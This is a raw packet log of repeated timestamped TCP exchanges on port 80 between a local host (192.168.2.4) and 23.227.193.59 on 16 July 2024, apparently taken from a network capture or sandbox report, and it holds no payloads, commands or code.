Jul 16, 2024 22:29:51.198627949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.198672056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.198729992 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.198731899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.198769093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.198802948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.198813915 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.198837996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.198872089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.198894024 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.198909044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.198941946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.198966980 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.198975086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.199007988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.199019909 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.199043989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.199079990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.199090004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.199112892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.199146032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.199166059 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.199179888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.199244976 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.199879885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.199934006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.199970007 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.199982882 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.200004101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200041056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200068951 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.200073957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200129032 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.200129986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200170994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200211048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200217962 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.200241089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200273991 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200290918 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.200308084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200340986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200347900 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.200375080 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200408936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200419903 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.200546026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200577974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200593948 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.200612068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200647116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200658083 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.200679064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200711966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200726986 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.200746059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200778961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200789928 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.200814962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.200870991 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.201028109 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.201061010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.201092958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.201114893 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.201127052 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.201164007 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.201172113 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.201214075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.201248884 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.201263905 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.201286077 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.201337099 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.201755047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.201792002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.201827049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.201838970 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.201994896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.202043056 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.202047110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.202081919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.202114105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.202125072 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.202147961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.202183008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.202193975 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.202409029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.202442884 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.202464104 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.202476978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.202510118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.202523947 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.202545881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.202578068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.202593088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.203089952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203145981 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.203239918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203274965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203321934 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.203423023 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203457117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203490019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203501940 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.203524113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203561068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203568935 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.203589916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203639030 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.203639984 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203674078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203706980 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203722954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.203741074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203785896 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.203793049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203828096 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203860044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203877926 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.203898907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.203989983 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204006910 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.204025030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204058886 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204073906 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.204097033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204142094 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.204152107 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204186916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204221010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204237938 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.204253912 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204298019 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.204324961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204358101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204391956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204404116 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.204427004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204452991 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204469919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204473972 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.204495907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204508066 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.204511881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204556942 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.204842091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204866886 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204883099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204899073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204911947 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.204915047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.204958916 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.205009937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205024958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205040932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205053091 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.205055952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205071926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205087900 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.205127001 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.205374956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205390930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205405951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205420971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205437899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205446959 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.205452919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205470085 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205482960 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.205486059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205502033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205502987 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.205518007 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205534935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205543041 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.205578089 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.205909014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205924988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205940962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205955029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.205955982 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.205971003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.206002951 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.206037998 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.450850010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.450897932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.450915098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.450985909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451000929 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451008081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451024055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451041937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451045036 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451093912 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451148987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451164961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451189041 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451198101 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451205015 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451220036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451236010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451237917 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451251984 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451277971 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451298952 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451484919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451499939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451514959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451546907 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451637030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451653004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451666117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451682091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451683998 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451697111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451710939 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451711893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451726913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451741934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451755047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451756001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451771975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451781034 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451787949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451805115 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451805115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451821089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.451843977 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.451879025 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.452419043 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452434063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452447891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452461958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452476978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452477932 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.452501059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452503920 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.452517033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452529907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452541113 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.452544928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452558994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452574015 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452589035 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.452589989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452604055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452620029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452632904 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.452635050 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452650070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452665091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452678919 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.452680111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452693939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452709913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.452717066 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.452764988 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.453365088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453380108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453393936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453408957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453419924 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.453423023 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453445911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453455925 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.453459978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453475952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453488111 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.453491926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453507900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453510046 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.453522921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453536987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453550100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453550100 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.453563929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453578949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453593016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453596115 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.453608036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453622103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453636885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453639030 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.453650951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453661919 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.453666925 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453681946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.453689098 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.453741074 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.454291105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454307079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454322100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454338074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454348087 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.454351902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454368114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454375029 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.454381943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454396963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454411983 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454417944 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.454427004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454440117 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.454442024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454457998 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454471111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454485893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454488993 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.454500914 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454516888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454528093 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.454533100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454545975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454560995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.454576015 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.454612017 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.455195904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455219984 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455233097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455238104 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.455248117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455262899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455276966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455290079 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.455291986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455307007 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455311060 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.455322981 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455336094 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.455337048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455352068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455363035 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.455367088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455382109 CEST	80	49730	23.227.193.59	192.168.2.4
